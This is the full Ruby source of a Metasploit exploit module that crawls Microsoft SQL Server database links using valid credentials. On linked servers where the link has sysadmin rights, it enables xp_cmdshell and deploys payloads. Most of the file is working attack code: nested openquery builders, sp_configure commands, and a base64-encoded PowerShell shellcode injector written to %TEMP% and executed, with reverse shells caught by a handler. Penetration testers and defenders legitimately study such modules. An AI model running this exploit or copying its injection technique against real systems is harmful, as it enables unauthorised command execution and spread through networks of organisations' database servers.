Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/mssql/mssql_linkcrawler.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::MSSQL9include Msf::Auxiliary::Report10include Msf::Exploit::CmdStager1112def initialize(info = {})13super(update_info(info,14'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',15'Description' => %q{16This module can be used to crawl MS SQL Server database links and deploy17Metasploit payloads through links configured with sysadmin privileges using a18valid SQL Server Login.1920If you are attempting to obtain multiple reverse shells using this module we21recommend setting the "DisablePayloadHandler" advanced option to "true", and setting22up a exploit/multi/handler to run in the background as a job to support multiple incoming23shells.2425If you are interested in deploying payloads to specific servers this module also26supports that functionality via the "DEPLOYLIST" option.2728Currently, the module is capable of delivering payloads to both 32bit and 64bit29Windows systems via powershell memory injection methods based on Matthew Graeber's30work. As a result, the target server must have powershell installed. By default,31all of the crawl information is saved to a CSV formatted log file and MSF loot so32that the tool can also be used for auditing without deploying payloads.33},34'Author' =>35[36'Antti Rantasaari <antti.rantasaari[at]netspi.com>',37'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'38],39'Platform' => [ 'win' ],40'Arch' => [ ARCH_X86, ARCH_X64 ],41'License' => MSF_LICENSE,42'References' =>43[44['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],45['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],46['URL','http://www.exploit-monday.com/2011_10_16_archive.html']47],48'DisclosureDate' => '2000-01-01',49'Targets' =>50[51[ 'Automatic', { } ],52],53'CmdStagerFlavor' => 'vbs',54'DefaultTarget' => 055))5657register_options(58[59OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', false]),60OptString.new('DEPLOYLIST', [false,'Comma separated list of systems to deploy to']),61OptString.new('PASSWORD', [true, 'The password for the specified username'])62])6364register_advanced_options(65[66OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])67])68end6970def exploit71# Display start time72time1 = Time.new73print_status("-------------------------------------------------")74print_status("Start time : #{time1.inspect}")75print_status("-------------------------------------------------")7677# Check if credentials are correct78print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")7980if !mssql_login_datastore81print_error("Invalid SQL Server credentials")82print_status("-------------------------------------------------")83return84end8586# Define master array to keep track of enumerated database information87masterList = Array.new88masterList[0] = Hash.new # Define new hash89masterList[0]["name"] = "" # Name of the current database server90masterList[0]["db_link"] = "" # Name of the linked database server91masterList[0]["db_user"] = "" # User configured on the database server link92masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges93masterList[0]["db_version"] = "" # Database version of the linked database server94masterList[0]["db_os"] = "" # OS of the linked database server95masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored96masterList[0]["done"] = 0 # Used to determine if linked need to be crawled9798shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system99100# Setup query for gathering information from database servers101versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\102(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\103(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\104CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \105-charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \106master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"107108# Create loot table to store configuration information from crawled database server links109linked_server_table = Rex::Text::Table.new(110'Header' => 'Linked Server Table',111'Indent' => 1,112'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state']113)114save_loot = ""115116# Start crawling through linked database servers117while masterList.any? {|f| f["done"] == 0}118# Find the first DB server that has not been crawled (not marked as done)119server = masterList.detect {|f| f["done"] == 0}120121# Get configuration information from the database server122sql = query_builder(server["path"].first,"",0,versionQuery)123result = mssql_query(sql, false) if mssql_login_datastore124parse_results = result[:rows]125parse_results.each { |s|126server["name"] = s[0]127server["db_user"] = s[1]128server["db_sysadmin"] = s[5]129server["db_version"] = s[3]130server["db_os"] = s[4]131server["numlinks"] = s[6]132}133if masterList.length == 1134print_good("Successfully connected to #{server["name"]}")135if datastore['VERBOSE']136show_configs(server["name"],parse_results,true)137elsif server["db_sysadmin"] == 1138print_good("Sysadmin on #{server["name"]}")139end140end141if server["db_sysadmin"] == 1142enable_xp_cmdshell(server["path"].first,server["name"],shelled)143end144145# If links were found, determine if they can be connected to and add to crawl list146if (server["numlinks"] > 0)147# Enable loot148save_loot = "yes"149150# Select a list of the linked database servers that exist on the current database server151print_status("")152print_status("-------------------------------------------------")153print_status("Crawling links on #{server["name"]}...")154# Display number db server links155print_status("Links found: #{server["numlinks"]}")156print_status("-------------------------------------------------")157execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"158sql = query_builder(server["path"].first,"",0,execute)159result = mssql_query(sql, false) if mssql_login_datastore160161result[:rows].each {|name|162name.each {|name|163164# Check if link works and if sysadmin permissions - temp array to save orig server[path]165temppath = Array.new166temppath = server["path"].first.dup167temppath << name168169# Get configuration information from the linked server170sql = query_builder(temppath,"",0,versionQuery)171result = mssql_query(sql, false) if mssql_login_datastore172173# Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists174if result[:errors].empty? and result[:rows] != nil then175# Assign db query results to variables for hash176parse_results = result[:rows]177178# Add link server information to loot179link_status = 'up'180write_to_report(name,server,parse_results,linked_server_table,link_status)181182# Display link server information in verbose mode183if datastore['VERBOSE']184show_configs(name,parse_results)185print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")186else187if parse_results[0][5] == 1188print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")189else190print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")191end192end193194# Add link to masterlist hash195unless masterList.any? {|f| f["name"] == name}196masterList << add_host(name,server["path"].first,parse_results)197else198(0..masterList.length-1).each do |x|199if masterList[x]["name"] == name200masterList[x]["path"] << server["path"].first.dup201masterList[x]["path"].last << name202unless shelled.include?(name)203if parse_results[0][2]==1204enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled)205end206end207else208break209end210end211end212else213# Add to report214linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed']215216# Display status to user217if datastore['VERBOSE']218print_status(" ")219print_error("Linked Server: #{name} ")220print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")221print_status(" Failure could be due to:")222print_status(" - A dead server")223print_status(" - Bad credentials")224print_status(" - Nested open queries through SQL 2000")225else226print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")227end228end229}230}231end232# Set server to "crawled"233server["done"]=1234end235236print_status("-------------------------------------------------")237238# Setup table for loot239this_service = nil240if framework.db and framework.db.active241this_service = report_service(242:host => mssql_client.peerhost,243:port => mssql_client.peerport,244:name => 'mssql',245:proto => 'tcp'246)247end248249# Display end time250time1 = Time.new251print_status("End time : #{time1.inspect}")252print_status("-------------------------------------------------")253254# Write log to loot / file255if (save_loot=="yes")256filename= "#{mssql_client.peerhost}-#{mssql_client.peerport}_linked_servers.csv"257path = store_loot("crawled_links", "text/plain", mssql_client.peerhost, linked_server_table.to_csv, filename, "Linked servers",this_service)258print_good("Results have been saved to: #{path}")259end260end261262# ---------------------------------------------------------------------263# Method that builds nested openquery statements using during crawling264# ---------------------------------------------------------------------265def query_builder(path,sql,ticks,execute)266267# Temp used to maintain the original masterList[x]["path"]268temp = Array.new269path.each {|i| temp << i}270271# Actual query - defined when the function originally called - ticks multiplied272if path.length == 0273return execute.gsub("'","'"*2**ticks)274275# openquery generator276else277sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"278return sql279end280end281282# ---------------------------------------------------------------------283# Method that builds nested openquery statements using during crawling284# ---------------------------------------------------------------------285def query_builder_rpc(path,sql,ticks,execute)286287# Temp used to maintain the original masterList[x]["path"]288temp = Array.new289path.each {|i| temp << i}290291# Actual query - defined when the function originally called - ticks multiplied292if path.length == 0293return execute.gsub("'","'"*2**ticks)294295# Openquery generator296else297exec_at = temp.shift298quotes = "'"*2**ticks299sql = "exec(#{quotes}#{query_builder_rpc(temp, sql,ticks + 1, execute)}#{quotes}) at [#{exec_at}]"300return sql301end302end303304# ---------------------------------------------------------------------305# Method for adding new linked database servers to the crawl list306# ---------------------------------------------------------------------307def add_host(name,path,parse_results)308309# Used to add new servers to masterList310server = Hash.new311server["name"] = name312temppath = Array.new313path.each {|i| temppath << i }314server["path"] = [temppath]315server["path"].first << name316server["done"] = 0317parse_results.each {|stuff|318server["db_user"] = stuff.at(1)319server["db_sysadmin"] = stuff.at(2)320server["db_version"] = stuff.at(3)321server["db_os"] = stuff.at(4)322server["numlinks"] = stuff.at(6)323}324return server325end326327# ---------------------------------------------------------------------328# Method to display configuration information329# ---------------------------------------------------------------------330def show_configs(i,parse_results,entry=false)331332print_status(" ")333parse_results.each {|stuff|334335# Translate syadmin code336status = stuff.at(5)337if status == 1 then338dbpriv = "sysadmin"339else340dbpriv = "user"341end342343# Display database link information344if entry == false345print_status("Linked Server: #{i}")346print_status(" o Link user: #{stuff.at(1)}")347print_status(" o Link privs: #{dbpriv}")348print_status(" o Link version: #{stuff.at(3)}")349print_status(" o Link OS: #{stuff.at(4).strip}")350print_status(" o Links on server: #{stuff.at(6)}")351else352print_status("Server: #{i}")353print_status(" o Server user: #{stuff.at(1)}")354print_status(" o Server privs: #{dbpriv}")355print_status(" o Server version: #{stuff.at(3)}")356print_status(" o Server OS: #{stuff.at(4).strip}")357print_status(" o Server on server: #{stuff.at(6)}")358end359}360end361362# ---------------------------------------------------------------------363# Method for generating the report and loot364# ---------------------------------------------------------------------365def write_to_report(i,server,parse_results,linked_server_table,link_status)366parse_results.each {|stuff|367# Parse server information368db_link_user = stuff.at(1)369db_link_sysadmin = stuff.at(2)370db_link_version = stuff.at(3)371db_link_os = stuff.at(4)372373# Add link server to the reporting array and set link_status to 'up'374linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status]375376return linked_server_table377}378end379380# ---------------------------------------------------------------------381# Method for enabling xp_cmdshell382# ---------------------------------------------------------------------383def enable_xp_cmdshell(path,name,shelled)384# Enables "show advanced options" and xp_cmdshell if needed and possible385# They cannot be enabled in user transactions (i.e. via openquery)386# Only enabled if RPC_Out is enabled for linked server387# All changes are reverted after payload delivery and execution388389# Check if "show advanced options" is enabled390execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'"391sql = query_builder(path,"",0,execute)392result = mssql_query(sql, false) if mssql_login_datastore393saoOrig = result[:rows].pop.pop394395# Check if "xp_cmdshell" is enabled396execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"397sql = query_builder(path,"",0,execute)398result = mssql_query(sql, false) if mssql_login_datastore399xpcmdOrig = result[:rows].pop.pop400401# Try blindly to enable "xp_cmdshell" on the linked server402# Note:403# This only works if rpcout is enabled for all links in the link path.404# If that is not the case it fails cleanly.405if xpcmdOrig == 0406if saoOrig == 0407# Enabling show advanced options and xp_cmdshell408execute = "sp_configure 'show advanced options',1;reconfigure"409sql = query_builder_rpc(path,"",0,execute)410result = mssql_query(sql, false) if mssql_login_datastore411end412413# Enabling xp_cmdshell414print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")415execute = "sp_configure 'xp_cmdshell',1;reconfigure"416sql = query_builder_rpc(path,"",0,execute)417result = mssql_query(sql, false) if mssql_login_datastore418end419420# Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)421execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"422sql = query_builder(path,"",0,execute)423result = mssql_query(sql, false) if mssql_login_datastore424xpcmdNow = result[:rows].pop.pop425426if xpcmdNow == 1 or xpcmdOrig == 1427print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0428if datastore['DEPLOY']429print_status("Ready to deploy a payload #{name}")430if datastore['DEPLOYLIST']==""431datastore['DEPLOYLIST'] = nil432end433if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]434print_status("\t - Checking if #{name} is on the deploy list...")435end436if datastore['DEPLOYLIST'] != nil437deploylist = datastore['DEPLOYLIST'].upcase.split(',')438end439if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase440if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]441print_status("\t - #{name} is on the deploy list.")442end443unless shelled.include?(name)444powershell_upload_exec(path)445shelled << name446else447print_status("Payload already deployed on #{name}")448end449elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]450print_status("\t - #{name} is not on the deploy list")451end452end453else454print_error("\t - Unable to enable xp_cmdshell on " + name)455end456457# Revert soa and xp_cmdshell to original state458if xpcmdOrig == 0 and xpcmdNow == 1459print_status("\t - Disabling xp_cmdshell on " + name)460execute = "sp_configure 'xp_cmdshell',0;reconfigure"461sql = query_builder_rpc(path,"",0,execute)462result = mssql_query(sql, false) if mssql_login_datastore463end464if saoOrig == 0 and xpcmdNow == 1465execute = "sp_configure 'show advanced options',0;reconfigure"466sql = query_builder_rpc(path,"",0,execute)467result = mssql_query(sql, false) if mssql_login_datastore468end469end470471# ----------------------------------------------------------------------472# Method that delivers shellcode payload via powershell thread injection473# ----------------------------------------------------------------------474def powershell_upload_exec(path)475476# Create powershell script that will inject shell code from the selected payload477myscript ="$code = @\"478[DllImport(\"kernel32.dll\")]479public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);480[DllImport(\"kernel32.dll\")]481public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);482[DllImport(\"msvcrt.dll\")]483public static extern IntPtr memset(IntPtr dest, uint src, uint count);484\"@485$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru486[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}487$size = 0x1000488if ($sc.Length -gt 0x1000) {$size = $sc.Length}489$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)490for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}491$winFunc::CreateThread(0,0,$x,0,0,0)"492493# Unicode encode powershell script494mytext_uni = Rex::Text.to_unicode(myscript)495496# Base64 encode unicode497mytext_64 = Rex::Text.encode_base64(mytext_uni)498499# Generate random file names500rand_filename = rand_text_alpha(8)501var_duplicates = rand_text_alpha(8)502503# Write base64 encoded powershell payload to temp file504# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations505# Also, line number tracking was added so that duplication lines caused by nested linked506# queries could be found and removed.507print_status("Deploying payload...")508linenum = 0509mytext_64.scan(/.{1,2500}/).each {|part|510execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"511sql = query_builder(path,"",0,execute)512result = mssql_query(sql, false) if mssql_login_datastore513linenum = linenum+1514}515516# Remove duplicate lines from temp file and write to new file517execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"518sql = query_builder(path,"",0,execute)519result = mssql_query(sql, false) if mssql_login_datastore520521# Remove tracking tags from lines522execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"523sql = query_builder(path,"",0,execute)524result = mssql_query(sql, false) if mssql_login_datastore525526# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors527# If running on 64bit system, 32bit powershell called from syswow64528powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\529'*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\530-noexit -noprofile -encodedCommand $dacode\"};iex $psbits"531powershell_uni = Rex::Text.to_unicode(powershell_cmd)532powershell_64 = Rex::Text.encode_base64(powershell_uni)533534# Setup query535execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"536sql = query_builder(path,"",0,execute)537538# Execute the playload539print_status("Executing payload...")540result = mssql_query(sql, false) if mssql_login_datastore541# Remove payload data from the target server542execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"543sql = query_builder(path,"",0,execute)544result = mssql_query(sql,false)545end546end547548549